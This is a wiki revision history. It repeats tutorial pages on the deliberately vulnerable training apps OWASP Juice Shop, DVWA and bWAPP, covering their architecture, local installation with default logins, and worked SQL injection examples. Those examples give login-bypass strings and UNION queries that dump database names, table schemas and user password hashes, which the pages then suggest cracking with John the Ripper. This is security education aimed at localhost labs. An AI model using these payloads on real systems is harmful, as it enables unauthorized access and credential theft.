Elvis Wiki - User contributions [en]

Vulnerable Web Services

2020-12-21T19:02:54Z

CEberhart: /* References */

Vulnerable Web Services

2020-12-21T19:02:12Z

CEberhart: /* References */

Vulnerable Web Services

2020-12-21T19:01:45Z

CEberhart: /* Conclusion */

Vulnerable Web Services

2020-12-21T19:00:45Z

CEberhart: /* Conclusion */

Vulnerable Web Services

2020-12-21T18:59:28Z

CEberhart:

Vulnerable Web Services

2020-12-21T18:58:28Z

CEberhart:

Vulnerable Web Services

2020-12-21T18:57:20Z

CEberhart: Created page with "hi"

OWASP Juice Shop

2020-12-21T18:55:26Z

CEberhart:

At first glance, the OWASP Juice Shop looks like an inconspicuous online shop for fruit juices. In 2014 Björn Kimminich designed the latest and most privileged vulnerable web service [[https://wiki.elvis.science/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop]] from OWASP. Two years after its foundation, Juice Shop was submitted and accepted as an OWASP tool project In a short time, Juice Shop generate a large community. The application is an intentionally insecure Web Service, and it look like an normal online shop. It is used to improve and test your hacking skills to avoid possible security lacks. Security enthusiastic can test and simulate different vulnerabilities in a safe environment without causing major damage to the network. Here the application includes vulnerabilities of the entire OWASP Top Ten, but also many other Vulnerabilities are found in this tool. There is enough documentation and further material on the official homepage to get a bigger overview.[[https://github.com/bkimminich/juice-shop]]

== Architecture: ==

OWASP Juice Shop is a pure web application, which is implemented in JavaScript and TypeScript. In the frontend, Angular Framework is used to create a Single Page Application. The layout of the user interface is the implementation of Google's material design using Angular Material Components. In order to achieve responsiveness, the Angular Flex layout is used. All symbols which were used are from the Font Awesome library. Javascript is also used as a programming language in the backend. An Express Application is hosted on a Node.js server and provides the client-side code to the browser. The client is also provided with the required backend functionality via a RESTful API. SQLite was selected as the database. Sequelize and Finale-Rest are used as abstraction levels from the database. A MarsDB is part of the OWASP Juice Shops as additional data storage. It is a JavaScript derivative of the popular MongoDB NoSQL database and compatible with most query and change operations. Push notifications that appear when a challenge is successfully hacked are implemented via a WebSocket Protocol. The application also offers users a comfortable way of registration via OAuth 2.0. This give users the possibility to sign in using their Google accounts.

[[File:ArchitekturOWASP.PNG|700px]]

== Installation ==

For a successful installation, the following steps must be observed:
*Node.js must be installed on the device. Then you can download the application from the official Git repository from OWASP (https://github.com/bkimminich/juice-shop). There you will also find a detailed instructions and further information.
*The downloaded file will be extracted to any path.
*To start the Juice Shop, open the terminal and switch to the path where you extracted the file. Then you start the program with the command ''"npm start"''
[[File:JS Terminal.PNG|500px|center]]
*Then you can see which port is open, and open any browser and enter ''“localhost: [port]“''
[[File:JS Homepage.PNG|500px|center]]

== Example ==

In this example an attempt is made to log in to the website without having any credential. So, here we are using a SQL command instead of an email and a randomly selected password should suffice in this case. You can log in as an administrator with the following query because the result is always ‘True’ and the administrator appears to be the first in the selection list.
*'''or 1 = 1; --'' 
[[File:JS sqllogin.PNG|500px|center]]
It is even possible to log in as a different user, for example as Jim or Bender. If you have successfully completed these challenges, it will lead to displayed on the page.
*'''or 1 = 1 and email not like ('% admin% '); --'' 
*'''or 1 = 1 and email like ('% bender% '); --'' 
[[File:JS loggedin.PNG|500px|center]]

[[Category:Documentation]]

DVWA

2020-12-21T18:54:46Z

CEberhart:

The so-called damn vulnerable web app (DVWA) is also a vulnerable PHP / MySQL web service [[https://wiki.elvis.science/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop]]. It is very similar to bWAPP. DVWA is free and can be used by anyone. The purpose of this application is to improve and test the skills and tools of security professionals and enthusiasts in a legal and secure environment. It is also used to explore the different vulnerabilities in four difficulties. More detailed explanations and information can be found on the DVWA homepage or at the GitHub page.

== Architecture ==

As already mentioned, the Damn Vulnerable Web Application (DVWA) is a free PHP application which is like bWAPP. It also uses a SQL database to persist information. The service is provided by Linux or Windows. XAMPP is also supported.
[[File:DVWA architecture.png|500px|center]]

== Installation ==

The installation of DVWA is very similar to that of [[bWAPP]]. Because the application is very fragile, it is recommended to install it on a virtual machine, and not in the public HTML folder. The following steps show a successful installation:
*The application could be downloaded on the official homepage of DVWA (http://www.dvwa.co.uk/). The ZIP file is extracted on any path.
[[File:DVWA official Website.png|500px|center]]
*The name of the folder is changed to “dvwa” and in the /xampp/htdocs path copied from XAMPP. Apache and MySQL should be activated in the XAMPP control panel.
*The password is deleted from the configuration file “config.inc.php.dist”.
[[File:DVWA configfile.png|500px|center]]
*/localhost/dvwa is called by the browser, which leads you to the login.
**Username is “admin”
**Password is “password”
*Now you are logged in and ready to work with DVWA.
[[File:DVWA installed and ready to use.png|500px|center]]
'''Note''': Before you start, the database should be set or reset.

== Example ==

The example is also based on the SQL injection vulnerability.
*In contrast to bWAPP, no search terms are entered in the search field, here we are searching by an identification number (ID) of the user in the database. An identification number returns the first name and last name of a user.
[[File:DVWA search.PNG|500px|center]]
*If we enter "1'" in the search field, we will get a syntax error with the associated error message. So, we recognize that the parameters in the URL are vulnerable for a SQL injection. This means we can transmit commands (queries) to the database to get any desired result.
*First have to merge all existing tables together with the union statement, then we can go forward and determine our desired result like user or database.
**''% 'Or 0 = 0 union select null, user () #'' 
**''% ’Or 0 = 0 union select null, database () #'' 
[[File:DVWA sqldatabase.PNG|500px|center]]
[[File:DVWA sqluser.PNG|500px|center]]
*To display all tables of the information schema, you must enter the following command in the search field. 
**''% ’And 1 = 0 union select null, table \ _name from information_schema.tables #'' 
'''Note:''' The information schema is the place where information is shared with everyone else databases are stored.
*We want to display the login data such as username and password. To do this, we should look for the 'User' table and print all containing fields. Now we know which fields exist in the table ’User’, so that we can select the right ones and print them out.
**''% ’And 1 = 0 union select null, table_name from information_schema.tables where table_name like’ user% ’#'' 
**''% 'And 1 = 0 union select null, concat (table_name, 0x0a, column_name) from information_schema.columns where table_name =' users' #'' 
**''% ’And 1 = 0 union select null, concat (first \ _name, 0x0a, last \ _name, 0x0a, user, 0x0a, password) from users #'' 
*Unfortunately, the data is hashed, and we have to use external software to crack them (John the Ripper).
[[File:DVWA hashpassword.PNG|500px|center]]

[[Category:Documentation]]

BWAPP

2020-12-21T18:54:12Z

CEberhart:

bWAPP is the abbreviation for "buggy web application" and it's a deliberately insecure web application [[https://wiki.elvis.science/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop]] which is freely accessible to everyone. bWAPP belongs to the ITSEC GamesProject and was designed by Malik Mesellem. Security enthusiasts such as developers and students can discover the various web vulnerabilities and try to simulate vulnerabilities. In addition to the ethical hacking training, bWAPP has a gaming character and should serve as a funny training enviroment. bWAPP is extremely diverse because it contains the most well-known web vulnerabilities and even includes all risks of the OWASP Top 10 Project. The application also offers three security levels (low/medium/high), where the user is perfectly prepared for penetration tests and hacking projects. Further information and assistance can be found on the ITSEC GamesProject website. [[http://www.itsecgames.com/]]

== Architecture ==

bWAPP is a free PHP application that uses a MySQL database. The web service is provided by Linux or Windows with Apache or IIS. It's also supported by WAMP and XAMPP to use a local webserver.
[[File:BWAPP architectur.PNG||200px|center]]
You can also download bee-box, this is a virtual machine with bWAPP included.[https://sourceforge.net/projects/bwapp/files/bee-box Install bee-box]
[[File:BWAPP1Start.PNG|300px|center]]

== Installation ==

For a successful installation, follow these steps:
* On the official homepage of ITSEC Games-Project [http://www.itsecgames.com/] you can download bWAPP. Extract the ZIP file to any path.
[[File:OfficialWebsite bWAPP.png|500px|center]]
*The password is deleted from the PHP file “setting.php”
[[File:BWAPP PHPfile with password.png|left]]
[[File:BWAPP PHPfile without password.png|right]]
*Then the name of the folder is changed to “bwapp” and the /xampp/htdocs path copied from XAMPP. Here Apache and MySQL must be activated on the XAMPP Control Panel
*Open “localhost / bwapp / install.php” via the browser and then click on "here". If the installation was successful, this will also be communicated with a short message.
*Now bWAPP has been successfully installed. Enter /localhost/bwapp/ in any browser and a login form appears.
**Username is “bee”
**Password is “bug”.
*User is logged in now and can play around with the application.
[[File:BWAPP installed and ready to use.png|500px|center]]

== Example ==

For a practical demonstration of bWAPP the SQL injection is elected. There are possible security lacks in a SQL database where an attacker can inject the database queries to obtain his desired result.
*If the correct challenge (SQL injection (GET / SEARCH)) on the website has been selected, a new page opens with a search window and an empty table.
[[File:BWAPP SQLInjection.PNG|500px|center]]
*By entering any terms into the search field (e.g. "man"), it's possible to search for any entry in the database. If you select with an empty search field, all entries are displayed.
[[File:BWAPP withsearch.PNG|500px|center]]
[[File:BWAPP nosearch.PNG|500px|center]]
*But if you enter an apostrophe as a search term, this leads to a syntax error, and you get an error message return, so you recognize that the parameters of the URL are susceptible to a SQL injection.
[[File:BWAPP error.PNG|500px|center]]
*Now it is known that the URL can be edited. By incrementing the number, we can consider that there exist only seven columns.
**''localhost / bwapp / sqli_1.php? title = 1 ’order by 1- - -''
**''localhost / bwapp / sqli_1.php? title = 1 ’order by 8- - - (out of clausle)''
*It is necessary to know how many columns you have, because in order to display confidential information you have to use an union statement, so that you merge the tables and for this you need the number of columns.
**''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4,5,6,7, - - -''
*By visualizing the columns, you can get the information such as the name or/and the version of the database
**''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, database (), 6,7, - - -'' 
**''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, version (), 6,7, - - -''
*By further visualizing you get more information about the database and the associated content. In this example an attempt is made to display the password. This can be reached by outputting the characters of the tables and further linking the table names. Until you get the column ‘User’ where the password is saved hopefully.
**''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, table_name, 6,7 from information_schema.tables- - -''
**''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, table_name, 6,7 from information_schema.tables where table_schema = database () - - -''
**''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (table_name), 6,7 from information_schema.tables where table_schema = database () - - -''
**''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (colume_name), 6,7 from information_schema.tables where table_schema =’ users’- - -''
**''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (login, password), 6,7, from users- - -''
*Unfortunately, you can only see the hashed password. But you can crack the hashed password in another step using password cracker software such as John the Ripper.
[[File:BWAPP hash.PNG|500px|center]]
[[File:Challenge1.9bWAPP.png|700px]]

[[Category:Documentation]]

OWASP Juice Shop

2020-12-21T18:50:25Z

CEberhart: /* Example */

At first glance, the OWASP Juice Shop looks like an inconspicuous online shop for fruit juices. In 2014 Björn Kimminich designed the latest and most privileged vulnerable web service from OWASP. Two years after its foundation, Juice Shop was submitted and accepted as an OWASP tool project In a short time, Juice Shop generate a large community. The application is an intentionally insecure Web Service, and it look like an normal online shop. It is used to improve and test your hacking skills to avoid possible security lacks. Security enthusiastic can test and simulate different vulnerabilities in a safe environment without causing major damage to the network. Here the application includes vulnerabilities of the entire OWASP Top Ten, but also many other Vulnerabilities are found in this tool. There is enough documentation and further material on the official homepage to get a bigger overview.[[https://github.com/bkimminich/juice-shop]]

== Architecture: ==

OWASP Juice Shop is a pure web application, which is implemented in JavaScript and TypeScript. In the frontend, Angular Framework is used to create a Single Page Application. The layout of the user interface is the implementation of Google's material design using Angular Material Components. In order to achieve responsiveness, the Angular Flex layout is used. All symbols which were used are from the Font Awesome library. Javascript is also used as a programming language in the backend. An Express Application is hosted on a Node.js server and provides the client-side code to the browser. The client is also provided with the required backend functionality via a RESTful API. SQLite was selected as the database. Sequelize and Finale-Rest are used as abstraction levels from the database. A MarsDB is part of the OWASP Juice Shops as additional data storage. It is a JavaScript derivative of the popular MongoDB NoSQL database and compatible with most query and change operations. Push notifications that appear when a challenge is successfully hacked are implemented via a WebSocket Protocol. The application also offers users a comfortable way of registration via OAuth 2.0. This give users the possibility to sign in using their Google accounts.

[[File:ArchitekturOWASP.PNG|700px]]

== Installation ==

For a successful installation, the following steps must be observed:
*Node.js must be installed on the device. Then you can download the application from the official Git repository from OWASP (https://github.com/bkimminich/juice-shop). There you will also find a detailed instructions and further information.
*The downloaded file will be extracted to any path.
*To start the Juice Shop, open the terminal and switch to the path where you extracted the file. Then you start the program with the command ''"npm start"''
[[File:JS Terminal.PNG|500px|center]]
*Then you can see which port is open, and open any browser and enter ''“localhost: [port]“''
[[File:JS Homepage.PNG|500px|center]]

== Example ==

In this example an attempt is made to log in to the website without having any credential. So, here we are using a SQL command instead of an email and a randomly selected password should suffice in this case. You can log in as an administrator with the following query because the result is always ‘True’ and the administrator appears to be the first in the selection list.
*'''or 1 = 1; --'' 
[[File:JS sqllogin.PNG|500px|center]]
It is even possible to log in as a different user, for example as Jim or Bender. If you have successfully completed these challenges, it will lead to displayed on the page.
*'''or 1 = 1 and email not like ('% admin% '); --'' 
*'''or 1 = 1 and email like ('% bender% '); --'' 
[[File:JS loggedin.PNG|500px|center]]

[[Category:Documentation]]

OWASP Juice Shop

2020-12-21T18:48:37Z

CEberhart: /* Installation */

At first glance, the OWASP Juice Shop looks like an inconspicuous online shop for fruit juices. In 2014 Björn Kimminich designed the latest and most privileged vulnerable web service from OWASP. Two years after its foundation, Juice Shop was submitted and accepted as an OWASP tool project In a short time, Juice Shop generate a large community. The application is an intentionally insecure Web Service, and it look like an normal online shop. It is used to improve and test your hacking skills to avoid possible security lacks. Security enthusiastic can test and simulate different vulnerabilities in a safe environment without causing major damage to the network. Here the application includes vulnerabilities of the entire OWASP Top Ten, but also many other Vulnerabilities are found in this tool. There is enough documentation and further material on the official homepage to get a bigger overview.[[https://github.com/bkimminich/juice-shop]]

== Architecture: ==

OWASP Juice Shop is a pure web application, which is implemented in JavaScript and TypeScript. In the frontend, Angular Framework is used to create a Single Page Application. The layout of the user interface is the implementation of Google's material design using Angular Material Components. In order to achieve responsiveness, the Angular Flex layout is used. All symbols which were used are from the Font Awesome library. Javascript is also used as a programming language in the backend. An Express Application is hosted on a Node.js server and provides the client-side code to the browser. The client is also provided with the required backend functionality via a RESTful API. SQLite was selected as the database. Sequelize and Finale-Rest are used as abstraction levels from the database. A MarsDB is part of the OWASP Juice Shops as additional data storage. It is a JavaScript derivative of the popular MongoDB NoSQL database and compatible with most query and change operations. Push notifications that appear when a challenge is successfully hacked are implemented via a WebSocket Protocol. The application also offers users a comfortable way of registration via OAuth 2.0. This give users the possibility to sign in using their Google accounts.

[[File:ArchitekturOWASP.PNG|700px]]

== Installation ==

For a successful installation, the following steps must be observed:
*Node.js must be installed on the device. Then you can download the application from the official Git repository from OWASP (https://github.com/bkimminich/juice-shop). There you will also find a detailed instructions and further information.
*The downloaded file will be extracted to any path.
*To start the Juice Shop, open the terminal and switch to the path where you extracted the file. Then you start the program with the command ''"npm start"''
[[File:JS Terminal.PNG|500px|center]]
*Then you can see which port is open, and open any browser and enter ''“localhost: [port]“''
[[File:JS Homepage.PNG|500px|center]]

== Example ==

In this example an attempt is made to log in to the website without having any credential. So, here we are using a SQL command instead of an email and a randomly selected password should suffice in this case. You can log in as an administrator with the following query because the result is always ‘True’ and the administrator appears to be the first in the selection list.
'''or 1 = 1; --'' 
[[File:JS sqllogin.PNG|500px|center]]
It is even possible to log in as a different user, for example as Jim or Bender. If you have successfully completed these challenges, it will lead to displayed on the page.
'''or 1 = 1 and email not like ('% admin% '); --'' 
'''or 1 = 1 and email like ('% bender% '); --'' 
[[File:JS loggedin.PNG|500px|center]]

OWASP Juice Shop

2020-12-21T18:48:19Z

CEberhart: /* Installation */

At first glance, the OWASP Juice Shop looks like an inconspicuous online shop for fruit juices. In 2014 Björn Kimminich designed the latest and most privileged vulnerable web service from OWASP. Two years after its foundation, Juice Shop was submitted and accepted as an OWASP tool project In a short time, Juice Shop generate a large community. The application is an intentionally insecure Web Service, and it look like an normal online shop. It is used to improve and test your hacking skills to avoid possible security lacks. Security enthusiastic can test and simulate different vulnerabilities in a safe environment without causing major damage to the network. Here the application includes vulnerabilities of the entire OWASP Top Ten, but also many other Vulnerabilities are found in this tool. There is enough documentation and further material on the official homepage to get a bigger overview.[[https://github.com/bkimminich/juice-shop]]

== Architecture: ==

OWASP Juice Shop is a pure web application, which is implemented in JavaScript and TypeScript. In the frontend, Angular Framework is used to create a Single Page Application. The layout of the user interface is the implementation of Google's material design using Angular Material Components. In order to achieve responsiveness, the Angular Flex layout is used. All symbols which were used are from the Font Awesome library. Javascript is also used as a programming language in the backend. An Express Application is hosted on a Node.js server and provides the client-side code to the browser. The client is also provided with the required backend functionality via a RESTful API. SQLite was selected as the database. Sequelize and Finale-Rest are used as abstraction levels from the database. A MarsDB is part of the OWASP Juice Shops as additional data storage. It is a JavaScript derivative of the popular MongoDB NoSQL database and compatible with most query and change operations. Push notifications that appear when a challenge is successfully hacked are implemented via a WebSocket Protocol. The application also offers users a comfortable way of registration via OAuth 2.0. This give users the possibility to sign in using their Google accounts.

[[File:ArchitekturOWASP.PNG|700px]]

== Installation ==

For a successful installation, the following steps must be observed:
*Node.js must be installed on the device. Then you can download the application from the official Git repository from OWASP (https://github.com/bkimminich/juice-shop). There you will also find a detailed instructions and further information.
*The downloaded file will be extracted to any path.
*To start the Juice Shop, open the terminal and switch to the path where you extracted the file. Then you start the program with the command ''"npm start"''
[[File:JS Terminal.PNG|500px|center]]
*Then you can see which port is open, and open any browser and enter ''“localhost: [port]“''<(br>
[[File:JS Homepage.PNG|500px|center]]

== Example ==

In this example an attempt is made to log in to the website without having any credential. So, here we are using a SQL command instead of an email and a randomly selected password should suffice in this case. You can log in as an administrator with the following query because the result is always ‘True’ and the administrator appears to be the first in the selection list.
'''or 1 = 1; --'' 
[[File:JS sqllogin.PNG|500px|center]]
It is even possible to log in as a different user, for example as Jim or Bender. If you have successfully completed these challenges, it will lead to displayed on the page.
'''or 1 = 1 and email not like ('% admin% '); --'' 
'''or 1 = 1 and email like ('% bender% '); --'' 
[[File:JS loggedin.PNG|500px|center]]

OWASP Juice Shop

2020-12-21T18:46:35Z

CEberhart:

At first glance, the OWASP Juice Shop looks like an inconspicuous online shop for fruit juices. In 2014 Björn Kimminich designed the latest and most privileged vulnerable web service from OWASP. Two years after its foundation, Juice Shop was submitted and accepted as an OWASP tool project In a short time, Juice Shop generate a large community. The application is an intentionally insecure Web Service, and it look like an normal online shop. It is used to improve and test your hacking skills to avoid possible security lacks. Security enthusiastic can test and simulate different vulnerabilities in a safe environment without causing major damage to the network. Here the application includes vulnerabilities of the entire OWASP Top Ten, but also many other Vulnerabilities are found in this tool. There is enough documentation and further material on the official homepage to get a bigger overview.[[https://github.com/bkimminich/juice-shop]]

== Architecture: ==

OWASP Juice Shop is a pure web application, which is implemented in JavaScript and TypeScript. In the frontend, Angular Framework is used to create a Single Page Application. The layout of the user interface is the implementation of Google's material design using Angular Material Components. In order to achieve responsiveness, the Angular Flex layout is used. All symbols which were used are from the Font Awesome library. Javascript is also used as a programming language in the backend. An Express Application is hosted on a Node.js server and provides the client-side code to the browser. The client is also provided with the required backend functionality via a RESTful API. SQLite was selected as the database. Sequelize and Finale-Rest are used as abstraction levels from the database. A MarsDB is part of the OWASP Juice Shops as additional data storage. It is a JavaScript derivative of the popular MongoDB NoSQL database and compatible with most query and change operations. Push notifications that appear when a challenge is successfully hacked are implemented via a WebSocket Protocol. The application also offers users a comfortable way of registration via OAuth 2.0. This give users the possibility to sign in using their Google accounts.

[[File:ArchitekturOWASP.PNG|700px]]

== Installation ==

For a successful installation, the following steps must be observed:
Node.js must be installed on the device. Then you can download the application on the official Git repository from OWASP (https://github.com/bkimminich/juice-shop). There you will also find a detailed instructions and further information.
The downloaded file will be extracted to any path.
To start the Juice Shop, Open the terminal and switch to the path where you extracted the file. Then you start the program with the command "npm start"
[[File:JS Terminal.PNG|500px|center]]
Then you can see which port is open, and open any browser and enter “localhost: [port]“<(br>
[[File:JS Homepage.PNG|500px|center]]

== Example ==

In this example an attempt is made to log in to the website without having any credential. So, here we are using a SQL command instead of an email and a randomly selected password should suffice in this case. You can log in as an administrator with the following query because the result is always ‘True’ and the administrator appears to be the first in the selection list.
'''or 1 = 1; --'' 
[[File:JS sqllogin.PNG|500px|center]]
It is even possible to log in as a different user, for example as Jim or Bender. If you have successfully completed these challenges, it will lead to displayed on the page.
'''or 1 = 1 and email not like ('% admin% '); --'' 
'''or 1 = 1 and email like ('% bender% '); --'' 
[[File:JS loggedin.PNG|500px|center]]

OWASP Juice Shop

2020-12-21T18:42:01Z

CEberhart: /* Architecture: */

The name is a bit misleading, and its is not a real online Juice Shop. In 2014 Björn Kimminich designed the latest and most privileged vulnerable web service from OWASP. In a short time, Juice Shop generate a large community. The application is an intentionally insecure Web Service, and it look like an online shop. It is used to improve and test your hacking skills to avoid possible security lacks. Security enthusiastic can test and simulate different vulnerabilities in a safe environment without causing major damage to the network. Here the application includes vulnerabilities of the entire OWASP Top Ten, but also many other Vulnerabilities are found in this tool. There is enough documentation and further material on the official homepage to get a bigger overview.

== Architecture: ==

OWASP Juice Shop is a pure web application, which is implemented in JavaScript and TypeScript. In the frontend, Angular Framework is used to create a Single Page Application. The layout of the user interface is the implementation of Google's material design using Angular Material Components. In order to achieve responsiveness, the Angular Flex layout is used. All symbols which were used are from the Font Awesome library. Javascript is also used as a programming language in the backend. An Express Application is hosted on a Node.js server and provides the client-side code to the browser. The client is also provided with the required backend functionality via a RESTful API. SQLite was selected as the database. Sequelize and Finale-Rest are used as abstraction levels from the database. A MarsDB is part of the OWASP Juice Shops as additional data storage. It is a JavaScript derivative of the popular MongoDB NoSQL database and compatible with most query and change operations. Push notifications that appear when a challenge is successfully hacked are implemented via a WebSocket Protocol. The application also offers users a comfortable way of registration via OAuth 2.0. This give users the possibility to sign in using their Google accounts.

[[File:ArchitekturOWASP.PNG|700px]]

== Installation ==

For a successful installation, the following steps must be observed:
Node.js must be installed on the device. Then you can download the application on the official Git repository from OWASP (https://github.com/bkimminich/juice-shop). There you will also find a detailed instructions and further information.
The downloaded file will be extracted to any path.
To start the Juice Shop, Open the terminal and switch to the path where you extracted the file. Then you start the program with the command "npm start"
[[File:JS Terminal.PNG|500px|center]]
Then you can see which port is open, and open any browser and enter “localhost: [port]“<(br>
[[File:JS Homepage.PNG|500px|center]]

== Example ==

In this example an attempt is made to log in to the website without having any credential. So, here we are using a SQL command instead of an email and a randomly selected password should suffice in this case. You can log in as an administrator with the following query because the result is always ‘True’ and the administrator appears to be the first in the selection list.
'''or 1 = 1; --'' 
[[File:JS sqllogin.PNG|500px|center]]
It is even possible to log in as a different user, for example as Jim or Bender. If you have successfully completed these challenges, it will lead to displayed on the page.
'''or 1 = 1 and email not like ('% admin% '); --'' 
'''or 1 = 1 and email like ('% bender% '); --'' 
[[File:JS loggedin.PNG|500px|center]]

OWASP Juice Shop

2020-12-21T18:41:31Z

CEberhart: /* Architecture: */

The name is a bit misleading, and its is not a real online Juice Shop. In 2014 Björn Kimminich designed the latest and most privileged vulnerable web service from OWASP. In a short time, Juice Shop generate a large community. The application is an intentionally insecure Web Service, and it look like an online shop. It is used to improve and test your hacking skills to avoid possible security lacks. Security enthusiastic can test and simulate different vulnerabilities in a safe environment without causing major damage to the network. Here the application includes vulnerabilities of the entire OWASP Top Ten, but also many other Vulnerabilities are found in this tool. There is enough documentation and further material on the official homepage to get a bigger overview.

== Architecture: ==

OWASP Juice Shop is a pure web application, which is implemented in JavaScript and TypeScript. In the frontend, Angular Framework is used to create a Single Page Application. The layout of the user interface is the implementation of Google's material design using Angular Material Components. In order to achieve responsiveness, the Angular Flex layout is used. All symbols which were used are from the Font Awesome library. Javascript is also used as a programming language in the backend. An Express Application is hosted on a Node.js server and provides the client-side code to the browser. The client is also provided with the required backend functionality via a RESTful API. SQLite was selected as the database. Sequelize and Finale-Rest are used as abstraction levels from the database. A MarsDB is part of the OWASP Juice Shops as additional data storage. It is a JavaScript derivative of the popular MongoDB NoSQL database and compatible with most query and change operations. Push notifications that appear when a challenge is successfully hacked are implemented via a WebSocket Protocol. The application also offers users a comfortable way of registration via OAuth 2.0. This give users the possibility to sign in using their Google accounts.

[[JS_Architectur.PNG|500px|center]]

== Installation ==

For a successful installation, the following steps must be observed:
Node.js must be installed on the device. Then you can download the application on the official Git repository from OWASP (https://github.com/bkimminich/juice-shop). There you will also find a detailed instructions and further information.
The downloaded file will be extracted to any path.
To start the Juice Shop, Open the terminal and switch to the path where you extracted the file. Then you start the program with the command "npm start"
[[File:JS Terminal.PNG|500px|center]]
Then you can see which port is open, and open any browser and enter “localhost: [port]“<(br>
[[File:JS Homepage.PNG|500px|center]]

== Example ==

In this example an attempt is made to log in to the website without having any credential. So, here we are using a SQL command instead of an email and a randomly selected password should suffice in this case. You can log in as an administrator with the following query because the result is always ‘True’ and the administrator appears to be the first in the selection list.
'''or 1 = 1; --'' 
[[File:JS sqllogin.PNG|500px|center]]
It is even possible to log in as a different user, for example as Jim or Bender. If you have successfully completed these challenges, it will lead to displayed on the page.
'''or 1 = 1 and email not like ('% admin% '); --'' 
'''or 1 = 1 and email like ('% bender% '); --'' 
[[File:JS loggedin.PNG|500px|center]]

OWASP Juice Shop

2020-12-21T18:41:09Z

CEberhart: /* Architecture: */

The name is a bit misleading, and its is not a real online Juice Shop. In 2014 Björn Kimminich designed the latest and most privileged vulnerable web service from OWASP. In a short time, Juice Shop generate a large community. The application is an intentionally insecure Web Service, and it look like an online shop. It is used to improve and test your hacking skills to avoid possible security lacks. Security enthusiastic can test and simulate different vulnerabilities in a safe environment without causing major damage to the network. Here the application includes vulnerabilities of the entire OWASP Top Ten, but also many other Vulnerabilities are found in this tool. There is enough documentation and further material on the official homepage to get a bigger overview.

== Architecture: ==

OWASP Juice Shop is a pure web application, which is implemented in JavaScript and TypeScript. In the frontend, Angular Framework is used to create a Single Page Application. The layout of the user interface is the implementation of Google's material design using Angular Material Components. In order to achieve responsiveness, the Angular Flex layout is used. All symbols which were used are from the Font Awesome library. Javascript is also used as a programming language in the backend. An Express Application is hosted on a Node.js server and provides the client-side code to the browser. The client is also provided with the required backend functionality via a RESTful API. SQLite was selected as the database. Sequelize and Finale-Rest are used as abstraction levels from the database. A MarsDB is part of the OWASP Juice Shops as additional data storage. It is a JavaScript derivative of the popular MongoDB NoSQL database and compatible with most query and change operations. Push notifications that appear when a challenge is successfully hacked are implemented via a WebSocket Protocol. The application also offers users a comfortable way of registration via OAuth 2.0. This give users the possibility to sign in using their Google accounts.

[[JS Architectur.PNG|500px|center]]

== Installation ==

For a successful installation, the following steps must be observed:
Node.js must be installed on the device. Then you can download the application on the official Git repository from OWASP (https://github.com/bkimminich/juice-shop). There you will also find a detailed instructions and further information.
The downloaded file will be extracted to any path.
To start the Juice Shop, Open the terminal and switch to the path where you extracted the file. Then you start the program with the command "npm start"
[[File:JS Terminal.PNG|500px|center]]
Then you can see which port is open, and open any browser and enter “localhost: [port]“<(br>
[[File:JS Homepage.PNG|500px|center]]

== Example ==

In this example an attempt is made to log in to the website without having any credential. So, here we are using a SQL command instead of an email and a randomly selected password should suffice in this case. You can log in as an administrator with the following query because the result is always ‘True’ and the administrator appears to be the first in the selection list.
'''or 1 = 1; --'' 
[[File:JS sqllogin.PNG|500px|center]]
It is even possible to log in as a different user, for example as Jim or Bender. If you have successfully completed these challenges, it will lead to displayed on the page.
'''or 1 = 1 and email not like ('% admin% '); --'' 
'''or 1 = 1 and email like ('% bender% '); --'' 
[[File:JS loggedin.PNG|500px|center]]

DVWA

2020-12-21T18:39:37Z

CEberhart: /* Example */

The so-called damn vulnerable web app (DVWA) is also a vulnerable PHP / MySQL web app. It is very similar to bWAPP. DVWA is free and can be used by anyone. The purpose of this application is to improve and test the skills and tools of security professionals and enthusiasts in a legal and secure environment. It is also used to explore the different vulnerabilities in four difficulties. More detailed explanations and information can be found on the DVWA homepage or at the GitHub page.

== Architecture ==

As already mentioned, the Damn Vulnerable Web Application (DVWA) is a free PHP application which is like bWAPP. It also uses a SQL database to persist information. The service is provided by Linux or Windows. XAMPP is also supported.
[[File:DVWA architecture.png|500px|center]]

== Installation ==

The installation of DVWA is very similar to that of [[bWAPP]]. Because the application is very fragile, it is recommended to install it on a virtual machine, and not in the public HTML folder. The following steps show a successful installation:
*The application could be downloaded on the official homepage of DVWA (http://www.dvwa.co.uk/). The ZIP file is extracted on any path.
[[File:DVWA official Website.png|500px|center]]
*The name of the folder is changed to “dvwa” and in the /xampp/htdocs path copied from XAMPP. Apache and MySQL should be activated in the XAMPP control panel.
*The password is deleted from the configuration file “config.inc.php.dist”.
[[File:DVWA configfile.png|500px|center]]
*/localhost/dvwa is called by the browser, which leads you to the login.
**Username is “admin”
**Password is “password”
*Now you are logged in and ready to work with DVWA.
[[File:DVWA installed and ready to use.png|500px|center]]
'''Note''': Before you start, the database should be set or reset.

== Example ==

The example is also based on the SQL injection vulnerability.
*In contrast to bWAPP, no search terms are entered in the search field, here we are searching by an identification number (ID) of the user in the database. An identification number returns the first name and last name of a user.
[[File:DVWA search.PNG|500px|center]]
*If we enter "1'" in the search field, we will get a syntax error with the associated error message. So, we recognize that the parameters in the URL are vulnerable for a SQL injection. This means we can transmit commands (queries) to the database to get any desired result.
*First have to merge all existing tables together with the union statement, then we can go forward and determine our desired result like user or database.
**''% 'Or 0 = 0 union select null, user () #'' 
**''% ’Or 0 = 0 union select null, database () #'' 
[[File:DVWA sqldatabase.PNG|500px|center]]
[[File:DVWA sqluser.PNG|500px|center]]
*To display all tables of the information schema, you must enter the following command in the search field. 
**''% ’And 1 = 0 union select null, table \ _name from information_schema.tables #'' 
'''Note:''' The information schema is the place where information is shared with everyone else databases are stored.
*We want to display the login data such as username and password. To do this, we should look for the 'User' table and print all containing fields. Now we know which fields exist in the table ’User’, so that we can select the right ones and print them out.
**''% ’And 1 = 0 union select null, table_name from information_schema.tables where table_name like’ user% ’#'' 
**''% 'And 1 = 0 union select null, concat (table_name, 0x0a, column_name) from information_schema.columns where table_name =' users' #'' 
